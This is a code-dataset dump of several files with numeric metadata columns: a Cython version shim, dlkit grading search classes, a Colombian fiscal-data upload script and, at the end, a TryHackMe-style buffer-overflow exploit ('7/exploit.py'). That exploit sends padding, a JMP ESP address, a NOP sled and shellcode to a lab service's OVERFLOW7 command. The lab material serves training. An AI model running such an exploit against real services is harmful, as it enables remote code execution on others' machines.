| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
1969eb78af39549a1b76792ae38d38b8ae9fac52
| 73
|
py
|
Python
|
Cython/Compiler/Version.py
|
matthew-brett/cython
|
f69ac182f690fb167259657a1c85d59298c66db4
|
[
"Apache-2.0"
] | 1
|
2015-08-06T10:31:25.000Z
|
2015-08-06T10:31:25.000Z
|
Cython/Compiler/Version.py
|
matthew-brett/cython
|
f69ac182f690fb167259657a1c85d59298c66db4
|
[
"Apache-2.0"
] | null | null | null |
Cython/Compiler/Version.py
|
matthew-brett/cython
|
f69ac182f690fb167259657a1c85d59298c66db4
|
[
"Apache-2.0"
] | null | null | null |
# for backwards compatibility
from Cython import __version__ as version
| 18.25
| 41
| 0.835616
| 9
| 73
| 6.333333
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150685
| 73
| 3
| 42
| 24.333333
| 0.919355
| 0.369863
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
197804de03c737e6fd247d65d2a83852483732ee
| 22,273
|
py
|
Python
|
dlkit/json_/grading/searches.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 2
|
2018-02-23T12:16:11.000Z
|
2020-10-08T17:54:24.000Z
|
dlkit/json_/grading/searches.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 87
|
2017-04-21T18:57:15.000Z
|
2021-12-13T19:43:57.000Z
|
dlkit/json_/grading/searches.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 1
|
2018-03-01T16:44:25.000Z
|
2018-03-01T16:44:25.000Z
|
"""JSON implementations of grading searches."""
# pylint: disable=no-init
# Numerous classes don't require __init__.
# pylint: disable=too-many-public-methods,too-few-public-methods
# Number of methods are defined in specification
# pylint: disable=protected-access
# Access to protected methods allowed in package json package scope
# pylint: disable=too-many-ancestors
# Inheritance defined in specification
from . import objects
from . import queries
from .. import utilities
from ..osid import searches as osid_searches
from ..primitives import Id
from ..utilities import get_registry
from dlkit.abstract_osid.grading import searches as abc_grading_searches
from dlkit.abstract_osid.osid import errors
class GradeSystemSearch(abc_grading_searches.GradeSystemSearch, osid_searches.OsidSearch):
"""The interface for governing grade system searches."""
def __init__(self, runtime):
self._namespace = 'grading.GradeSystem'
self._runtime = runtime
record_type_data_sets = get_registry('RESOURCE_RECORD_TYPES', runtime)
self._record_type_data_sets = record_type_data_sets
self._all_supported_record_type_data_sets = record_type_data_sets
self._all_supported_record_type_ids = []
self._id_list = None
for data_set in record_type_data_sets:
self._all_supported_record_type_ids.append(str(Id(**record_type_data_sets[data_set])))
osid_searches.OsidSearch.__init__(self, runtime)
@utilities.arguments_not_none
def search_among_grade_systems(self, grade_system_ids):
"""Execute this search among the given list of grade systems.
arg: grade_system_ids (osid.id.IdList): list of grade systems
raise: NullArgument - ``grade_system_ids`` is ``null``
*compliance: mandatory -- This method must be implemented.*
"""
self._id_list = grade_system_ids
@utilities.arguments_not_none
def order_grade_system_results(self, grade_system_search_order):
"""Specify an ordering to the search results.
arg: grade_system_search_order
(osid.grading.GradeSystemSearchOrder): grade system
search order
raise: NullArgument - ``grade_system_search_order`` is ``null``
raise: Unsupported - ``grade_system_search_order`` is not of
this service
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
@utilities.arguments_not_none
def get_grade_system_search_record(self, grade_system_search_record_type):
"""Gets the grade system search record corresponding to the given grade system search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: grade_system_search_record_type (osid.type.Type): a
grade system search record type
return: (osid.grading.records.GradeSystemSearchRecord) - the
grade system search record
raise: NullArgument - ``grade_system_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(grade_system_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradeSystemSearchResults(abc_grading_searches.GradeSystemSearchResults, osid_searches.OsidSearchResults):
"""This interface provides a means to capture results of a search."""
def __init__(self, results, query_terms, runtime):
# if you don't iterate, then .count() on the cursor is an inaccurate representation of limit / skip
# self._results = [r for r in results]
self._namespace = 'grading.GradeSystem'
self._results = results
self._query_terms = query_terms
self._runtime = runtime
self.retrieved = False
def get_grade_systems(self):
"""Gets the grade system list resulting from the search.
return: (osid.grading.GradeSystemList) - the grade system list
raise: IllegalState - list already retrieved
*compliance: mandatory -- This method must be implemented.*
"""
if self.retrieved:
raise errors.IllegalState('List has already been retrieved.')
self.retrieved = True
return objects.GradeSystemList(self._results, runtime=self._runtime)
grade_systems = property(fget=get_grade_systems)
def get_grade_system_query_inspector(self):
"""Gets the inspector for the query to examine the terms used in the search.
return: (osid.grading.GradeSystemQueryInspector) - the grade
system query inspector
*compliance: mandatory -- This method must be implemented.*
"""
return queries.GradeSystemQueryInspector(self._query_terms, runtime=self._runtime)
grade_system_query_inspector = property(fget=get_grade_system_query_inspector)
@utilities.arguments_not_none
def get_grade_system_search_results_record(self, grade_system_search_record_type):
"""Gets the grade system search results record corresponding to the given grade system search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: grade_system_search_record_type (osid.type.Type): a
grade system search record type
return: (osid.grading.records.GradeSystemSearchResultsRecord) -
the grade system search results record
raise: NullArgument - ``grade_system_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(grade_system_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradeEntrySearch(abc_grading_searches.GradeEntrySearch, osid_searches.OsidSearch):
"""``GradeEntrySearch`` defines the interface for specifying package search options."""
def __init__(self, runtime):
self._namespace = 'grading.GradeEntry'
self._runtime = runtime
record_type_data_sets = get_registry('RESOURCE_RECORD_TYPES', runtime)
self._record_type_data_sets = record_type_data_sets
self._all_supported_record_type_data_sets = record_type_data_sets
self._all_supported_record_type_ids = []
self._id_list = None
for data_set in record_type_data_sets:
self._all_supported_record_type_ids.append(str(Id(**record_type_data_sets[data_set])))
osid_searches.OsidSearch.__init__(self, runtime)
@utilities.arguments_not_none
def search_among_grade_entries(self, grade_entry_ids):
"""Execute this search among the given list of grade entries.
arg: grade_entry_ids (osid.id.IdList): list of grade entries
raise: NullArgument - ``grade_entry_ids`` is ``null``
*compliance: mandatory -- This method must be implemented.*
"""
self._id_list = grade_entry_ids
@utilities.arguments_not_none
def order_grade_entry_results(self, grade_entry_search_order):
"""Specify an ordering to the search results.
arg: grade_entry_search_order
(osid.grading.GradeEntrySearchOrder): package search
order
raise: NullArgument - ``grade_entry_search_order`` is ``null``
raise: Unsupported - ``grade_entry_search_order`` is not of
this service
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
@utilities.arguments_not_none
def get_grade_entry_search_record(self, grade_entry_search_record_type):
"""Gets the grade entry search record corresponding to the given package search record ``Type``.
This method ie used to retrieve an object implementing the
requested record.
arg: grade_entry_search_record_type (osid.type.Type): a grade
entry search record type
return: (osid.grading.records.GradeEntrySearchRecord) - the
grade entry search record
raise: NullArgument - ``grade_entry_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(grade_entry_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradeEntrySearchResults(abc_grading_searches.GradeEntrySearchResults, osid_searches.OsidSearchResults):
"""This interface provides a means to capture results of a search."""
def __init__(self, results, query_terms, runtime):
# if you don't iterate, then .count() on the cursor is an inaccurate representation of limit / skip
# self._results = [r for r in results]
self._namespace = 'grading.GradeEntry'
self._results = results
self._query_terms = query_terms
self._runtime = runtime
self.retrieved = False
def get_grade_entries(self):
"""Gets the package list resulting from the search.
return: (osid.grading.GradeEntryList) - the grade entry list
raise: IllegalState - list already retrieved
*compliance: mandatory -- This method must be implemented.*
"""
if self.retrieved:
raise errors.IllegalState('List has already been retrieved.')
self.retrieved = True
return objects.GradeEntryList(self._results, runtime=self._runtime)
grade_entries = property(fget=get_grade_entries)
def get_grade_entry_query_inspector(self):
"""Gets the inspector for the query to examine the terms used in the search.
return: (osid.grading.GradeEntryQueryInspector) - the grade
entry query inspector
*compliance: mandatory -- This method must be implemented.*
"""
return queries.GradeEntryQueryInspector(self._query_terms, runtime=self._runtime)
grade_entry_query_inspector = property(fget=get_grade_entry_query_inspector)
@utilities.arguments_not_none
def get_grade_entry_search_results_record(self, grade_entry_search_record_type):
"""Gets the grade entry search results record corresponding to the given grade entry search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: grade_entry_search_record_type (osid.type.Type): a grade
entry search record type
return: (osid.grading.records.GradeEntrySearchResultsRecord) -
the grade entry search results record
raise: NullArgument - ``grade_entry_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(grade_entry_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradebookColumnSearch(abc_grading_searches.GradebookColumnSearch, osid_searches.OsidSearch):
"""``GradebookColumnSearch`` defines the interface for specifying grading search options."""
def __init__(self, runtime):
self._namespace = 'grading.GradebookColumn'
self._runtime = runtime
record_type_data_sets = get_registry('RESOURCE_RECORD_TYPES', runtime)
self._record_type_data_sets = record_type_data_sets
self._all_supported_record_type_data_sets = record_type_data_sets
self._all_supported_record_type_ids = []
self._id_list = None
for data_set in record_type_data_sets:
self._all_supported_record_type_ids.append(str(Id(**record_type_data_sets[data_set])))
osid_searches.OsidSearch.__init__(self, runtime)
@utilities.arguments_not_none
def search_among_gradebook_columns(self, gradebook_column_ids):
"""Execute this search among the given list of gradebook columns.
arg: gradebook_column_ids (osid.id.IdList): list of gradebook
columns
raise: NullArgument - ``gradebook_column_ids`` is ``null``
*compliance: mandatory -- This method must be implemented.*
"""
self._id_list = gradebook_column_ids
@utilities.arguments_not_none
def order_gradebook_column_results(self, gradebook_column_search_order):
"""Specify an ordering to the search results.
arg: gradebook_column_search_order
(osid.grading.GradebookColumnSearchOrder): gradebook
column search order
raise: NullArgument - ``gradebook_column_search_order`` is
``null``
raise: Unsupported - ``gradebook_column_search_order`` is not
of this service
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
@utilities.arguments_not_none
def get_gradebook_column_search_record(self, gradebook_column_search_record_type):
"""Gets the gradebook column search record corresponding to the given gradebook column search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: gradebook_column_search_record_type (osid.type.Type): a
gradebook column search record type
return: (osid.grading.records.GradebookColumnSearchRecord) - the
gradebook column search record
raise: NullArgument - ``gradebook_column_search_record_type``
is ``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(gradebook_column_search_record_type)``
is ``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradebookColumnSearchResults(abc_grading_searches.GradebookColumnSearchResults, osid_searches.OsidSearchResults):
"""This interface provides a means to capture results of a search."""
def __init__(self, results, query_terms, runtime):
# if you don't iterate, then .count() on the cursor is an inaccurate representation of limit / skip
# self._results = [r for r in results]
self._namespace = 'grading.GradebookColumn'
self._results = results
self._query_terms = query_terms
self._runtime = runtime
self.retrieved = False
def get_gradebook_columns(self):
"""Gets the gradebook column list resulting from the search.
return: (osid.grading.GradebookColumnList) - the gradebook
column list
raise: IllegalState - list already retrieved
*compliance: mandatory -- This method must be implemented.*
"""
if self.retrieved:
raise errors.IllegalState('List has already been retrieved.')
self.retrieved = True
return objects.GradebookColumnList(self._results, runtime=self._runtime)
gradebook_columns = property(fget=get_gradebook_columns)
def get_gradebook_column_query_inspector(self):
"""Gets the inspector for the query to examine the terms used in the search.
return: (osid.grading.GradebookColumnQueryInspector) - the
gradebook column query inspector
*compliance: mandatory -- This method must be implemented.*
"""
return queries.GradebookColumnQueryInspector(self._query_terms, runtime=self._runtime)
gradebook_column_query_inspector = property(fget=get_gradebook_column_query_inspector)
@utilities.arguments_not_none
def get_gradebook_column_search_results_record(self, gradebook_column_search_record_type):
"""Gets the gradebook column search results record corresponding to the given gradebook column search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: gradebook_column_search_record_type (osid.type.Type): a
gradebook column search record type
return:
(osid.grading.records.GradebookColumnSearchResultsRecord
) - the gradebook column search results record
raise: NullArgument - ``gradebook_column_search_record_type``
is ``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(gradebook_column_search_record_type)``
is ``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradebookSearch(abc_grading_searches.GradebookSearch, osid_searches.OsidSearch):
"""The interface for governing gradebook searches."""
def __init__(self, runtime):
self._namespace = 'grading.Gradebook'
self._runtime = runtime
record_type_data_sets = get_registry('RESOURCE_RECORD_TYPES', runtime)
self._record_type_data_sets = record_type_data_sets
self._all_supported_record_type_data_sets = record_type_data_sets
self._all_supported_record_type_ids = []
self._id_list = None
for data_set in record_type_data_sets:
self._all_supported_record_type_ids.append(str(Id(**record_type_data_sets[data_set])))
osid_searches.OsidSearch.__init__(self, runtime)
@utilities.arguments_not_none
def search_among_gradebooks(self, gradebook_ids):
"""Execute this search among the given list of gradebooks.
arg: gradebook_ids (osid.id.IdList): list of gradebooks
raise: NullArgument - ``gradebook_ids`` is ``null``
*compliance: mandatory -- This method must be implemented.*
"""
self._id_list = gradebook_ids
@utilities.arguments_not_none
def order_gradebook_results(self, gradebook_search_order):
"""Specify an ordering to the search results.
arg: gradebook_search_order
(osid.grading.GradebookSearchOrder): gradebook search
order
raise: NullArgument - ``gradebook_search_order`` is ``null``
raise: Unsupported - ``gradebook_search_order`` is not of this
service
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
@utilities.arguments_not_none
def get_gradebook_search_record(self, gradebook_search_record_type):
"""Gets the gradebook search record corresponding to the given gradebook search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: gradebook_search_record_type (osid.type.Type): a
gradebook search record type
return: (osid.grading.records.GradebookSearchRecord) - the
gradebook search record
raise: NullArgument - ``gradebook_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(gradebook_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
class GradebookSearchResults(abc_grading_searches.GradebookSearchResults, osid_searches.OsidSearchResults):
"""This interface provides a means to capture results of a search."""
def __init__(self, results, query_terms, runtime):
# if you don't iterate, then .count() on the cursor is an inaccurate representation of limit / skip
# self._results = [r for r in results]
self._namespace = 'grading.Gradebook'
self._results = results
self._query_terms = query_terms
self._runtime = runtime
self.retrieved = False
def get_gradebooks(self):
"""Gets the gradebook list resulting from the search.
return: (osid.grading.GradebookList) - the gradebook list
raise: IllegalState - list already retrieved
*compliance: mandatory -- This method must be implemented.*
"""
if self.retrieved:
raise errors.IllegalState('List has already been retrieved.')
self.retrieved = True
return objects.GradebookList(self._results, runtime=self._runtime)
gradebooks = property(fget=get_gradebooks)
def get_gradebook_query_inspector(self):
"""Gets the inspector for the query to examine the terms used in the search.
return: (osid.grading.GradebookQueryInspector) - the gradebook
query inspector
*compliance: mandatory -- This method must be implemented.*
"""
return queries.GradebookQueryInspector(self._query_terms, runtime=self._runtime)
gradebook_query_inspector = property(fget=get_gradebook_query_inspector)
@utilities.arguments_not_none
def get_gradebook_search_results_record(self, gradebook_search_record_type):
"""Gets the gradebook search results record corresponding to the given gradebook search record ``Type``.
This method is used to retrieve an object implementing the
requested record.
arg: gradebook_search_record_type (osid.type.Type): a
gradebook search record type
return: (osid.grading.records.GradebookSearchResultsRecord) -
the gradebook search results record
raise: NullArgument - ``gradebook_search_record_type`` is
``null``
raise: OperationFailed - unable to complete request
raise: Unsupported -
``has_record_type(gradebook_search_record_type)`` is
``false``
*compliance: mandatory -- This method must be implemented.*
"""
raise errors.Unimplemented()
| 42.75048
| 126
| 0.686481
| 2,514
| 22,273
| 5.813047
| 0.073986
| 0.062953
| 0.052552
| 0.034487
| 0.804366
| 0.76413
| 0.738128
| 0.706651
| 0.671753
| 0.640413
| 0
| 0
| 0.241054
| 22,273
| 520
| 127
| 42.832692
| 0.864529
| 0.502492
| 0
| 0.642857
| 0
| 0
| 0.039423
| 0.014003
| 0
| 0
| 0
| 0
| 0
| 1
| 0.190476
| false
| 0
| 0.047619
| 0
| 0.380952
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
19a7346a715c63aa734dcc59c56d95501705561f
| 6,605
|
py
|
Python
|
0482.Fiscal-Colombia-MHCP-Central_Government_Fiscal_Balance.py
|
alphacastio/connectors-colombia-macro-basics
|
1b66625bd66823dd5fb5f5191748a50fbbdaa93f
|
[
"MIT"
] | null | null | null |
0482.Fiscal-Colombia-MHCP-Central_Government_Fiscal_Balance.py
|
alphacastio/connectors-colombia-macro-basics
|
1b66625bd66823dd5fb5f5191748a50fbbdaa93f
|
[
"MIT"
] | null | null | null |
0482.Fiscal-Colombia-MHCP-Central_Government_Fiscal_Balance.py
|
alphacastio/connectors-colombia-macro-basics
|
1b66625bd66823dd5fb5f5191748a50fbbdaa93f
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# coding: utf-8
# In[8]:
import pandas as pd
import numpy as np
import datetime
import urllib
import time
from urllib.request import urlopen
import requests
from alphacast import Alphacast
from dotenv import dotenv_values
API_KEY = dotenv_values(".env").get("API_KEY")
alphacast = Alphacast(API_KEY)
url = "https://www.minhacienda.gov.co/webcenter/ShowProperty?nodeId=%2FConexionContent%2FWCC_CLUSTER-161521%2F%2FidcPrimaryFile&revision=latestreleased"
r = requests.get(url ,allow_redirects=False, verify=False)
df = pd.read_excel(r.content, skiprows= 3).dropna(how='all')
df = df.iloc[:-7 , :].drop(1)
df = df.drop("Unnamed: 0", axis=1).T
df
# In[14]:
df.columns = ["Date" , "Ingresos Totales" , "Ingresos Totales - Ingresos Corrientes de la Nación" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos Tributarios" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Renta" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Cuotas" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Retención" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - IVA interno" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - IVA externo" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Gravamen arancelario" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Sobretasa a la Importaciones CIF" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Imp. Nacional a la Gasolina y ACPM" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Impuesto al Carbono" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Consumo" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - CREE" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Sobretasa a la Gasolina y ACPM" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Gravamen movimientos financieros" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Resto" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Timbre" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Impuesto SIMPLE" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Normalización" , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Retención en la fuente inmuebles " , "Ingresos Totales - Ingresos Corrientes de la Nación - DIAN - Contribución para la Democracia (Patrimonio) / Impuesto a la riqueza" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios " , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios - Contribución de Hidrocarburos" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios - Concesiones" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios - Telefonía Celular" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios - Concesiones portuarias y otros" , "Ingresos Totales - Ingresos Corrientes de la Nación - Ingresos No Tributarios - Resto" , "Ingresos Totales - Fondos Especiales" , "Ingresos Totales - Otros recursos de capital" , "Ingresos Totales - Otros Recursos de Capital - Rendimientos Financieros Totales" , "Ingresos Totales - Otros Recursos de Capital - Excedentes Financieros" , "Ingresos Totales - Otros Recursos de Capital - Ecopetrol" , "Ingresos Totales - Otros Recursos de Capital - Banco de la República" , "Ingresos Totales - Otros Recursos de Capital - Telecom" , "Ingresos Totales - Otros Recursos de Capital - Isa e Isagen" , "Ingresos Totales - Otros Recursos de Capital - Bancóldex" , "Ingresos Totales - Otros Recursos de Capital - Estapúblicos" , "Ingresos Totales - Otros Recursos de Capital - Resto de empresas" , "Ingresos Totales - Otros Recursos de Capital - Recuperación de cartera diferente SPNF" , "Ingresos Totales - Otros Recursos de Capital - Otros recursos" , "Ingresos Totales - Otros Recursos de Capital - Reintegros y recursos no apropiados" , "Ingresos Totales - Otros Recursos de Capital - Resto" , "Pagos Totales" , "Pagos Totales sin intereses" , "Pagos Totales - Pagos Corrientes de la Nación " , "Pagos Totales - Pagos Corrientes de la Nación - Intereses" , "Pagos Totales - Pagos Corrientes de la Nación - Intereses deuda externa" , "Pagos Totales - Pagos Corrientes de la Nación - Intereses deuda interna" , "Pagos Totales - Pagos Corrientes de la Nación - Costo impuesto endeudamiento externo" , "Pagos Totales - Pagos Corrientes de la Nación - Funcionamiento" , "Pagos Totales - Pagos Corrientes de la Nación - Servicios personales" , "Pagos Totales - Pagos Corrientes de la Nación - Transferencias" , "Pagos Totales - Pagos Corrientes de la Nación - Transferencias regionales (SGP desde 2002)" , "Pagos Totales - Pagos Corrientes de la Nación - Situado Fiscal" , "Pagos Totales - Pagos Corrientes de la Nación - Participaciones municipales" , "Pagos Totales - Pagos Corrientes de la Nación - Fondo de Compensación Educativa" , "Pagos Totales - Pagos Corrientes de la Nación - Pensiones" , "Pagos Totales - Pagos Corrientes de la Nación - Otras transferencias" , "Pagos Totales - Pagos Corrientes de la Nación - Gastos generales y otros" , "Pagos Totales - Inversión" , "Déficit o Superávit Efectivo" , "Déficit o Superávit Efectivo - PRESTAMO NETO " , "Déficit o Superávit Efectivo - INGRESOS CAUSADOS" , "BORRAR" , "Déficit o Superávit Efectivo - GASTOS CAUSADOS" , "BORRAR" , "Déficit o Superávit Efectivo - DEUDA FLOTANTE" , "Déficit o Superávit Total" , "Costos de la reest. Financiera " , "Costos de la reest. Financiera - Capitalización Intereses Fogafín" , "Costos de la reest. Financiera - Indexación Tes Ley 546" , "Costos de la reest. Financiera - Indexación TRD" , "Costos de la reest. Financiera - Intereses Ley 546" , "" , "Costos de la reest. Financiera - Amortización TRD" , "Costos de la reest. Financiera - Amortiz. Ley 456" , "Costos de la reest. Financiera - Liquidación Caja Agraria " , "Déficit a Financiar" , "Balance Primario"]
df = df.iloc[1: , :]
# In[15]:
df['Date'] = df['Date'].astype(str) + "-01-01"
# In[16]:
df['Date'] = df['Date'].astype(str).str.replace('.0', "", regex=False)
df['Date'] = pd.to_datetime(df['Date'])
df['Date'] = df['Date'].dt.date
df = df.set_index(['Date'])
df["country"] = 'Colombia'
df = df.loc[:,~df.columns.duplicated()]
del df["BORRAR"]
alphacast.datasets.dataset(482).upload_data_from_df(df,
deleteMissingFromDB = True, onConflictUpdateDB = True, uploadIndex=True)
| 115.877193
| 5,429
| 0.743982
| 851
| 6,605
| 5.759107
| 0.26322
| 0.04244
| 0.122832
| 0.175474
| 0.63028
| 0.614977
| 0.47929
| 0.389104
| 0.221791
| 0.132014
| 0
| 0.008121
| 0.16109
| 6,605
| 56
| 5,430
| 117.946429
| 0.876376
| 0.009841
| 0
| 0
| 0
| 0.068966
| 0.801959
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.344828
| 0
| 0.344828
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
19b1bf8e5afa0f6292ca4382ca7177bbed8bda88
| 2,455
|
py
|
Python
|
7/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
7/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
7/exploit.py
|
SxNade/THM_Buffer-Overflow-Prep
|
f4818a446c5ede939492a04f53cdb7398dbc0b8e
|
[
"BSD-3-Clause"
] | null | null | null |
import socket
import sys
import time
print("[+] Nani???? Got shell!!\n")
buff = "A" * 1306
EIP = "\xf7\x11\x50\x62" # 625011F7 JMP ESP essfunc.dll
nops = "\x90" * 16
shellcode = b""
shellcode += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0"
shellcode += b"\x5e\x81\x76\x0e\x53\x20\x36\x13\x83\xee\xfc"
shellcode += b"\xe2\xf4\xaf\xc8\xb4\x13\x53\x20\x56\x9a\xb6"
shellcode += b"\x11\xf6\x77\xd8\x70\x06\x98\x01\x2c\xbd\x41"
shellcode += b"\x47\xab\x44\x3b\x5c\x97\x7c\x35\x62\xdf\x9a"
shellcode += b"\x2f\x32\x5c\x34\x3f\x73\xe1\xf9\x1e\x52\xe7"
shellcode += b"\xd4\xe1\x01\x77\xbd\x41\x43\xab\x7c\x2f\xd8"
shellcode += b"\x6c\x27\x6b\xb0\x68\x37\xc2\x02\xab\x6f\x33"
shellcode += b"\x52\xf3\xbd\x5a\x4b\xc3\x0c\x5a\xd8\x14\xbd"
shellcode += b"\x12\x85\x11\xc9\xbf\x92\xef\x3b\x12\x94\x18"
shellcode += b"\xd6\x66\xa5\x23\x4b\xeb\x68\x5d\x12\x66\xb7"
shellcode += b"\x78\xbd\x4b\x77\x21\xe5\x75\xd8\x2c\x7d\x98"
shellcode += b"\x0b\x3c\x37\xc0\xd8\x24\xbd\x12\x83\xa9\x72"
shellcode += b"\x37\x77\x7b\x6d\x72\x0a\x7a\x67\xec\xb3\x7f"
shellcode += b"\x69\x49\xd8\x32\xdd\x9e\x0e\x48\x05\x21\x53"
shellcode += b"\x20\x5e\x64\x20\x12\x69\x47\x3b\x6c\x41\x35"
shellcode += b"\x54\xdf\xe3\xab\xc3\x21\x36\x13\x7a\xe4\x62"
shellcode += b"\x43\x3b\x09\xb6\x78\x53\xdf\xe3\x43\x03\x70"
shellcode += b"\x66\x53\x03\x60\x66\x7b\xb9\x2f\xe9\xf3\xac"
shellcode += b"\xf5\xa1\x79\x56\x48\xf6\xbb\x52\xd1\x5e\x11"
shellcode += b"\x53\x21\x8d\x9a\xb5\x4a\x26\x45\x04\x48\xaf"
shellcode += b"\xb6\x27\x41\xc9\xc6\xd6\xe0\x42\x1f\xac\x6e"
shellcode += b"\x3e\x66\xbf\x48\xc6\xa6\xf1\x76\xc9\xc6\x3b"
shellcode += b"\x43\x5b\x77\x53\xa9\xd5\x44\x04\x77\x07\xe5"
shellcode += b"\x39\x32\x6f\x45\xb1\xdd\x50\xd4\x17\x04\x0a"
shellcode += b"\x12\x52\xad\x72\x37\x43\xe6\x36\x57\x07\x70"
shellcode += b"\x60\x45\x05\x66\x60\x5d\x05\x76\x65\x45\x3b"
shellcode += b"\x59\xfa\x2c\xd5\xdf\xe3\x9a\xb3\x6e\x60\x55"
shellcode += b"\xac\x10\x5e\x1b\xd4\x3d\x56\xec\x86\x9b\xd6"
shellcode += b"\x0e\x79\x2a\x5e\xb5\xc6\x9d\xab\xec\x86\x1c"
shellcode += b"\x30\x6f\x59\xa0\xcd\xf3\x26\x25\x8d\x54\x40"
shellcode += b"\x52\x59\x79\x53\x73\xc9\xc6"
payload = buff + EIP + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Application
s.connect(('192.168.1.117', 1337))
s.recv(1024) #Recv the banner
#Finally the vulnerable command
s.send('OVERFLOW7 ' + payload + '\r\n')
s.send('EXIT\r\n')
s.close()
print("[+] Execution Finished")
| 37.769231
| 60
| 0.694908
| 492
| 2,455
| 3.463415
| 0.445122
| 0.193662
| 0.010563
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.226133
| 0.074134
| 2,455
| 64
| 61
| 38.359375
| 0.523537
| 0.040733
| 0
| 0
| 0
| 0.645833
| 0.636596
| 0.59234
| 0
| 1
| 0
